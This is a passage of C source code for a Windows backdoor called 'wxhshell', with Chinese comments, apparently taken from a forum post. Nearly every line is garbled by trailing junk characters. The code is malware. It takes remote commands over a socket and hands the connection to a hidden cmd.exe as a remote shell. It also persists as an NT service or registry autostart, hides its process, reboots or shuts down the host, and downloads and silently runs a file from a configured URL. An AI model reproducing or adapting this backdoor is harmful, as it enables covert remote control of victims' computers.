    switch(cmd[0]) { @w;$M]o1  
  8erG](  
  // 帮助 qkqtPbQ 7  
  case '?': { B$qTH5)W  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); frc9   
    break; \BX9Wn*)a  
  } S gssNv  
  // 安装 L1f=90  
  case 'i': { 33&l.[A"!}  
    if(Install()) }rUAYr~VZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .osG"cS  
    else 1OV] W f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *qu5o5Q  
    break; DP;:%L}  
    } L4Kg%icz l  
  // 卸载 Ow(aRWUZD_  
  case 'r': { ,U)&ny  
    if(Uninstall()) Xpp v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hy>0'$mU  
    else ,.h@tN<C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K-@\";whF  
    break; Mdh]qKw  
    } eiXl"R^  
  // 显示 wxhshell 所在路径 ^qi+Y)dU|  
  case 'p': { yFS{8yrRUU  
    char svExeFile[MAX_PATH]; ?1zGs2Qs  
    strcpy(svExeFile,"\n\r"); v+}${h9  
      strcat(svExeFile,ExeFile); 1Wiz0X/  
        send(wsh,svExeFile,strlen(svExeFile),0); >; tE.CJH  
    break; n`@dk_%yI  
    } "Q:h[)a  
  // 重启 i+pQ 7wx  
  case 'b': { (&v,3>3]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); aGfp"NtL  
    if(Boot(REBOOT)) ;)wk ^W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k"C'8<T)'  
    else { zG8g}FrzG;  
    closesocket(wsh); >#'?}@FWQN  
    ExitThread(0); 7 \[fjCg\w  
    } Z`86YYGK  
    break; 8Lgm50bs  
    } H?!DcUg CC  
  // 关机 sOiM/} O]  
  case 'd': { JZ~wacDd  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t72rCq QC  
    if(Boot(SHUTDOWN)) t`{T:Tjc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0w0{@\9  
    else { Jz3,vV fQ:  
    closesocket(wsh); #HW<@E  
    ExitThread(0); 8ICV"8(  
    } &%GAPs%  
    break; +GL$[ 5G  
    } 8UXRM :Z"  
  // 获取shell + d3  
  case 's': { :>r W`= e'  
    CmdShell(wsh); Sk1t~  
    closesocket(wsh); ZO%iyc%  
    ExitThread(0); A0U9,M  
    break; Xx%<rsA>F  
  } 2  
  // 退出 $COjC!M  
  case 'x': { UV0[S8A  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -u4")V>  
    CloseIt(wsh); K)se$vb6  
    break; Wz"H.hf  
    } X{Hh^H  
  // 离开 XPD1HN!,LT  
  case 'q': { y+w,j]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >`SeX:  
    closesocket(wsh); |FM*1Q[1  
    WSACleanup(); *8m['$oyV  
    exit(1); _ZFEo< `'  
    break; 3Jt# Mp  
        } 3)6-S  
  } QIevps*  
  } FKu8R%9xn%  
YURMXbj  
  // 提示信息 i}P{{kMJ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); < F;+A{M)  
} ..+#~3es#y  
  } KR%WBvv   
g#^MO]pY  
  return; $7c,<=  
} u4w!SD  
M<n'ZDK `W  
// shell模块句柄 uf9&o#  
int CmdShell(SOCKET sock) %)?jaE}[  
{ F.5fasdX'  
STARTUPINFO si; A;RV~!xx  
ZeroMemory(&si,sizeof(si)); L YF|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'ScvteQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z'& fEsjy  
PROCESS_INFORMATION ProcessInfo; 3^~J;U!3  
char cmdline[]="cmd"; zU+q03l8Ur  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $ P?^GB>u  
  return 0; y^}u L|=  
} /*,_\ ;  
Wu'qpJ  
// 自身启动模式 2~?E'  
int StartFromService(void) dCTyfXou[=  
{ ->{-yh]jv  
typedef struct PC<_1!M]  
{ bIyg7X)/  
  DWORD ExitStatus; !Kg ']4  
  DWORD PebBaseAddress; -|KZOea  
  DWORD AffinityMask; BDWbWA 6  
  DWORD BasePriority; SnQT1U%  
  ULONG UniqueProcessId; Z 9+fTT  
  ULONG InheritedFromUniqueProcessId; w,FPL&{  
}   PROCESS_BASIC_INFORMATION; tOLcnWt   
I*3}erT  
PROCNTQSIP NtQueryInformationProcess; )j>U4a  
pF8 #H~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7\,9Gcv1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; II}M|qHaK  
}0Ns&6)xG  
  HANDLE             hProcess; %csrNf  
  PROCESS_BASIC_INFORMATION pbi; 0~^RHb.NA8  
Q'jw=w!|g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }}QR'  
  if(NULL == hInst ) return 0; pOo016afmA  
{XmCG%%L  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C\GP}:[T3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }QE*-GVv]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W H/.h$  
Bso#+v5  
  if (!NtQueryInformationProcess) return 0; c:Nm!+5_(  
0>N6.itOz  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }r5yAE  
  if(!hProcess) return 0; &b tI#  
Z%qtAPd  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; XH$r(@Z\7  
UgC65O2  
  CloseHandle(hProcess); i#`q<+/q  
-PE_qZ^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sE6>JaH  
if(hProcess==NULL) return 0; tO3R&"{  
$}gM JG  
HMODULE hMod; VE|l;aXi  
char procName[255]; T+F]hv'  
unsigned long cbNeeded; 2H)4}5H  
-$Hu $Y}>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1 &9|~">{C  
dWvVK("Wj  
  CloseHandle(hProcess); Q S&B"7;g  
y(p_Unm  
if(strstr(procName,"services")) return 1; // 以服务启动 VWvSt C  
J{1H$[W~}  
  return 0; // 注册表启动 \:WWrY8&  
} sI!H=bp-8  
:x*)o+  
// 主模块 :pqUUZ6x&  
int StartWxhshell(LPSTR lpCmdLine) 20|`jxp  
{ q*l4h u%3  
  SOCKET wsl; 3N2d V6u  
BOOL val=TRUE; g 4[Vgmh J  
  int port=0; No'?8+i  
  struct sockaddr_in door; _{Kmj,q  
o eU i  
  if(wscfg.ws_autoins) Install(); ?dgyi4J?=`  
,twx4r^  
port=atoi(lpCmdLine); cQU;PH]  
_fHml   
if(port<=0) port=wscfg.ws_port; y>P+"Z.K%}  
iAwEnQ3h  
  WSADATA data; WEimJrAn  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; '+PKGmRW  
N T`S)P*?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <-umeY"n>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h+FM?ct6}  
  door.sin_family = AF_INET; AG N/kx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); HeRi67  
  door.sin_port = htons(port); pjWRd_h.  
}Y~Dk]*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >NRppPqL  
closesocket(wsl);  )(G9[DG  
return 1; FE~D:)Xj'?  
} =&WIa#!=  
)>iOj50n3  
  if(listen(wsl,2) == INVALID_SOCKET) { 6_Fr\H  
closesocket(wsl); HZyA\FS  
return 1; uzy5rA==  
} 513,k$7  
  Wxhshell(wsl); b2m={q(s  
  WSACleanup(); $C4~v  
s^wm2/Yw  
return 0; b(iF0U>&  
 Aqy w  
} +[7~:e}DZ  
~||0lj.D  
// 以NT服务方式启动 YV O$`W^N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <^5!]8*O  
{ UVo`jb|> o  
DWORD   status = 0; `H+"7SO  
  DWORD   specificError = 0xfffffff; 1 /. BP  
"o5]:]h)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; o*cu-j3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X3.zNHN5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jm}CrqU  
  serviceStatus.dwWin32ExitCode     = 0; f9.?+.^_  
  serviceStatus.dwServiceSpecificExitCode = 0; &."$kfA+  
  serviceStatus.dwCheckPoint       = 0; <J/ =$u/  
  serviceStatus.dwWaitHint       = 0; (jT)o,IW&  
m{\ & k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _olQ;{ U:  
  if (hServiceStatusHandle==0) return; &@0~]\,D7  
oz) [ -  
status = GetLastError(); {w@qFE'b  
  if (status!=NO_ERROR) 3_(_yEKx  
{ 380`>"D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 50,'z?-_  
    serviceStatus.dwCheckPoint       = 0; LP2~UVq  
    serviceStatus.dwWaitHint       = 0; kwI``7g8*e  
    serviceStatus.dwWin32ExitCode     = status; Z(mUU]  
    serviceStatus.dwServiceSpecificExitCode = specificError; F-&tSU,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %Bs. XW,  
    return; 02;jeZ#z  
  } acd[rjeT  
Abc{<4 z0?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; TZn 15-O  
  serviceStatus.dwCheckPoint       = 0; 'p@f5[t  
  serviceStatus.dwWaitHint       = 0; yW_yHSx;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |xO*!NR  
} YF%gs{  
HIg2y  
// 处理NT服务事件,比如:启动、停止 eg0_ <  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q+ax]=w  
{ w#A)B<Y/"  
switch(fdwControl) h4Crq Yxa_  
{ >3 o4 U2  
case SERVICE_CONTROL_STOP: ACszx\[K3  
  serviceStatus.dwWin32ExitCode = 0; iT]t`7R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; fvu{(Tb  
  serviceStatus.dwCheckPoint   = 0; iRQ!J1SGcG  
  serviceStatus.dwWaitHint     = 0; E C#0-,z  
  { kDmm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _$~>O7  
  } |[\;.gT K  
  return; c*bvZC^6  
case SERVICE_CONTROL_PAUSE: <,i4Ua  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; KC/O EJ`  
  break; 9LR=>@Z  
case SERVICE_CONTROL_CONTINUE: 1I Xtu   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Pv -4psdw  
  break; O]N/(pe:d  
case SERVICE_CONTROL_INTERROGATE: u]p21)m$x  
  break; 4~fYG|a  
}; = Xgo}g1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t7=D$ua  
} i%2u>N i^  
!fOPYgAGKn  
// 标准应用程序主函数 gZ@+62  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sf*4|P}  
{ ,H=k5WA4m  
F}; R  
// 获取操作系统版本 x,B] J4  
OsIsNt=GetOsVer(); m2]N%Y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _w^,j"  
+%dXB&9x|Z  
  // 从命令行安装 (W1 $+X  
  if(strpbrk(lpCmdLine,"iI")) Install(); <jh4P!\&j  
lF}[ YL  
  // 下载执行文件 L2H  
if(wscfg.ws_downexe) { w~ Tg?RH:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d$!Q6ux;  
  WinExec(wscfg.ws_filenam,SW_HIDE); yw1 &I^7  
} B[b>T=  
zPt<b!q  
if(!OsIsNt) { &Ok1j0~~  
// 如果时win9x,隐藏进程并且设置为注册表启动 t.P@Ba^  
HideProc(); BgQEd@cN  
StartWxhshell(lpCmdLine); ;1k& }v&  
} n !)$e;l  
else HTQZIm  
  if(StartFromService()) qb>ULP0  
  // 以服务方式启动 W[2]$TwT  
  StartServiceCtrlDispatcher(DispatchTable); |UTajEL  
else [.#nM  
  // 普通方式启动 2<D| {  
  StartWxhshell(lpCmdLine); oE ' P  
*HoRYCL  
return 0; b RAD_  
}
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只看该作者 1 发表于: 2006-10-10
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